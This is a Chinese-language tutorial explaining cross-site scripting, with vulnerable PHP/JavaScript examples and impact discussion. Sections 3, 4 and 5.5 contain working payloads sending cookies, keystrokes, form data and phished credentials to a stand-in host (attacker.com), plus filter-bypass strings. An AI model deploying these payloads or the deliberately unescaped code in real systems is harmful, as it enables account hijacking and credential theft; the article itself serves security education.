1. 什么是XSS?
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web应用程序安全漏洞,攻击者通过在网页中注入恶意脚本代码,当其他用户浏览该网页时,注入的脚本会在受害者的浏览器中执行。
为什么叫"跨站"脚本?因为攻击者注入的脚本可以访问和操作与当前网站相关的敏感信息(如Cookie、会话令牌等),并可能将这些信息发送到攻击者控制的服务器上,从而实现"跨站"的数据窃取。
名称由来
XSS最初被称为CSS(Cross-Site Scripting),但为了避免与层叠样式表(Cascading Style Sheets)的缩写混淆,改用了XSS这个缩写。X代表"Cross"的首字母。
XSS的本质
XSS的本质是代码注入。当Web应用程序没有正确地验证、过滤或转义用户输入时,攻击者就可以注入JavaScript、HTML或其他客户端脚本代码,这些代码会被浏览器当作合法内容执行。
简单来说,XSS利用的核心问题是:
- 信任问题:浏览器信任网站返回的所有内容
- 输入输出问题:网站未正确处理用户输入就直接输出到页面
- 同源策略:注入的脚本在受害者浏览器中与目标网站处于同一源,可以访问网站的所有资源
2. XSS是如何工作的?
要理解XSS的工作原理,我们需要了解Web应用程序的基本工作流程:
正常的Web交互流程
- 用户在浏览器中访问网站(发送HTTP请求)
- 服务器处理请求并生成HTML页面
- 浏览器接收HTML并解析渲染
- 浏览器执行页面中的JavaScript代码
XSS攻击流程
- 攻击者发现漏洞:找到一个接受用户输入并直接显示在页面上的地方
- 构造恶意Payload:编写包含恶意JavaScript代码的输入
- 注入脚本:通过表单、URL参数、Cookie等方式提交恶意代码
- 受害者触发:其他用户访问包含恶意代码的页面
- 脚本执行:浏览器执行注入的恶意脚本
- 数据窃取:脚本窃取敏感信息并发送到攻击者服务器
<!-- 存在漏洞的搜索功能 -->
<?php
$search = $_GET['q']; // 获取用户搜索关键词
echo "您搜索的内容是:" . $search; // 直接输出,未做任何过滤
?>
<!-- 正常用户搜索 "hello" -->
URL: http://example.com/search.php?q=hello
输出: 您搜索的内容是:hello
<!-- 攻击者构造恶意URL -->
URL: http://example.com/search.php?q=<script>alert('XSS')</script>
输出: 您搜索的内容是:<script>alert('XSS')</script>
结果: 浏览器执行脚本,弹出警告框
3. 简单的XSS示例
让我们通过几个具体的例子来理解XSS攻击:
示例1:反射型XSS - 搜索框漏洞
<!-- 存在漏洞的代码 -->
<form action="search.php" method="GET">
<input type="text" name="keyword" placeholder="搜索...">
<button type="submit">搜索</button>
</form>
<?php
if(isset($_GET['keyword'])) {
echo "<h2>搜索结果:" . $_GET['keyword'] . "</h2>";
}
?>
攻击方式:
// 攻击者输入以下内容:
<script>
// 窃取Cookie
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>
// 或者更隐蔽的方式:
<img src=x onerror="fetch('http://attacker.com/log?c='+document.cookie)">
示例2:存储型XSS - 评论功能漏洞
<!-- 存在漏洞的评论系统 -->
<?php
// 保存评论(未过滤)
if(isset($_POST['comment'])) {
$comment = $_POST['comment'];
$db->query("INSERT INTO comments (content) VALUES ('$comment')");
}
// 显示评论(未转义)
$result = $db->query("SELECT * FROM comments");
while($row = $result->fetch_assoc()) {
echo "<div class='comment'>" . $row['content'] . "</div>";
}
?>
攻击Payload:
// 攻击者发表以下评论:
<script>
// 键盘记录器
document.addEventListener('keypress', function(e) {
fetch('http://attacker.com/log', {
method: 'POST',
body: 'key=' + e.key
});
});
</script>
// 所有查看该评论的用户都会被植入键盘记录器
示例3:DOM型XSS - 客户端渲染漏洞
<!-- 存在漏洞的JavaScript代码 -->
<script>
// 从URL获取参数并显示
var name = new URLSearchParams(window.location.search).get('name');
document.getElementById('welcome').innerHTML = "欢迎, " + name;
</script>
<!-- 攻击URL -->
http://example.com/index.html?name=<img src=x onerror=alert(document.cookie)>
4. XSS的危害
很多开发者认为XSS只是弹个警告框,危害不大。这是一个严重的误解!XSS的危害远比想象中严重:
4.1 Cookie和会话劫持
这是XSS最常见的利用方式。攻击者可以窃取用户的Session Cookie,从而冒充用户身份登录系统。
// Cookie窃取脚本
(function() {
var cookies = document.cookie;
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/steal.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('cookie=' + encodeURIComponent(cookies) +
'&url=' + encodeURIComponent(window.location.href));
})();
真实案例
2019年,某大型社交网站因XSS漏洞导致超过10万用户的Session Cookie被窃取,攻击者利用这些Cookie登录用户账户,发送垃圾信息和钓鱼链接。
4.2 键盘记录和表单劫持
攻击者可以监听用户的所有键盘输入,包括用户名、密码、信用卡号等敏感信息。
// 键盘记录脚本
document.addEventListener('keypress', function(event) {
fetch('http://attacker.com/keylog.php', {
method: 'POST',
body: JSON.stringify({
key: event.key,
time: new Date().toISOString(),
url: window.location.href
})
});
});
// 表单劫持
document.querySelectorAll('form').forEach(function(form) {
form.addEventListener('submit', function(e) {
var formData = new FormData(form);
fetch('http://attacker.com/formdata.php', {
method: 'POST',
body: formData
});
});
});
4.3 钓鱼攻击
攻击者可以修改页面内容,插入假的登录表单来窃取用户凭据。
// 插入假登录框
document.body.innerHTML = `
<div style="
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background: white;
padding: 30px;
box-shadow: 0 0 20px rgba(0,0,0,0.5);
z-index: 9999;
">
<h2>会话已过期,请重新登录</h2>
<form id="phishForm">
<input type="text" name="username" placeholder="用户名" required><br>
<input type="password" name="password" placeholder="密码" required><br>
<button type="submit">登录</button>
</form>
</div>
`;
document.getElementById('phishForm').addEventListener('submit', function(e) {
e.preventDefault();
// 发送到攻击者服务器
fetch('http://attacker.com/phish.php', {
method: 'POST',
body: new FormData(this)
}).then(() => {
// 然后重定向到真实登录页面
window.location.href = '/login.php';
});
});
4.4 恶意重定向和广告注入
// 恶意重定向
window.location.href = 'http://malicious-site.com/malware.exe';
// 注入广告
var ad = document.createElement('iframe');
ad.src = 'http://ad-network.com/popup';
ad.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999';
document.body.appendChild(ad);
4.5 蠕虫传播
在某些社交网站上,XSS可以实现自我复制传播,形成蠕虫攻击。
著名的Samy蠕虫
2005年,Samy Kamkar利用MySpace的XSS漏洞创建了一个自我传播的XSS蠕虫。该蠕虫会自动将访问者添加为Samy的好友,并在访问者的个人主页中复制蠕虫代码。短短20小时内,Samy获得了超过100万好友,成为MySpace历史上最流行的用户。
5. 为什么XSS如此常见?
根据OWASP(开放式Web应用程序安全项目)的统计,XSS长期位列Web应用程序十大安全风险之中。为什么XSS如此常见?
5.1 开发者安全意识不足
- 许多开发者不了解XSS的危害,认为"只是弹个框"
- 新手开发者不知道需要对用户输入进行验证和转义
- 赶工期导致忽视安全性考虑
5.2 用户输入点众多
现代Web应用程序有大量的用户输入点,每一个都可能成为XSS的入口:
- 表单输入(搜索框、评论、个人资料等)
- URL参数
- HTTP请求头(User-Agent、Referer等)
- Cookie
- 文件上传(文件名、元数据)
- WebSocket消息
- API返回数据
5.3 复杂的前端技术栈
现代Web应用使用复杂的前端框架(React、Vue、Angular等),虽然这些框架提供了一定的XSS防护,但仍可能因为不当使用而产生漏洞:
// React中的危险用法
<div dangerouslySetInnerHTML={{__html: userInput}} />
// Vue中的危险用法
<div v-html="userInput"></div>
// Angular中的危险用法
<div [innerHTML]="userInput"></div>
5.4 第三方组件和依赖
现代应用依赖大量第三方库和组件,任何一个组件的XSS漏洞都可能影响整个应用。
5.5 复杂的攻击向量
攻击者有无数种方式绕过简单的过滤机制:
// 大小写变换
<ScRiPt>alert('XSS')</sCrIpT>
// 编码绕过
<img src=x onerror="alert('XSS')">
// 双写绕过(如果过滤器只删除一次script)
<scr<script>ipt>alert('XSS')</scr</script>ipt>
// 事件处理器
<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<svg onload=alert('XSS')>
// JavaScript伪协议
<a href="javascript:alert('XSS')">点击</a>
<iframe src="javascript:alert('XSS')"></iframe>
6. 真实世界的XSS案例
案例1:Twitter XSS蠕虫(2010)
2010年9月,Twitter遭遇了一次大规模XSS攻击。攻击者利用Twitter的一个XSS漏洞,创建了一条包含恶意JavaScript的推文。当用户将鼠标悬停在该推文的链接上时,就会自动转发这条推文,形成了蠕虫式传播。
影响
该漏洞在几小时内影响了数万用户,导致大量垃圾信息和恶意链接的传播。Twitter紧急修复了该漏洞并清理了恶意推文。
案例2:eBay存储型XSS(2016)
2016年,安全研究人员在eBay上发现了一个存储型XSS漏洞。攻击者可以在商品描述中插入恶意脚本,当其他用户浏览该商品时,脚本会在他们的浏览器中执行。
案例3:Facebook XSS漏洞(2015)
安全研究人员发现Facebook的某个功能存在XSS漏洞,攻击者可以通过特制的URL注入JavaScript代码。该漏洞可以用来窃取用户的访问令牌,从而完全控制用户账户。
7. 总结
XSS是Web安全领域最常见也最危险的漏洞之一。通过本文,我们了解了:
- XSS的定义:一种代码注入攻击,攻击者通过在网页中注入恶意脚本来攻击其他用户
- XSS的工作原理:利用Web应用对用户输入处理不当,将恶意代码注入到页面中
- XSS的危害:不仅仅是弹框,还包括Cookie窃取、键盘记录、钓鱼、蠕虫传播等严重后果
- XSS的普遍性:由于开发者安全意识不足、输入点众多、技术栈复杂等原因,XSS漏洞非常常见
- 真实案例:Twitter、eBay、Facebook等知名网站都曾遭受XSS攻击
免责声明
本文所述内容仅用于教育和安全研究目的。未经授权对他人系统进行渗透测试是违法行为。请在合法授权的范围内进行安全测试。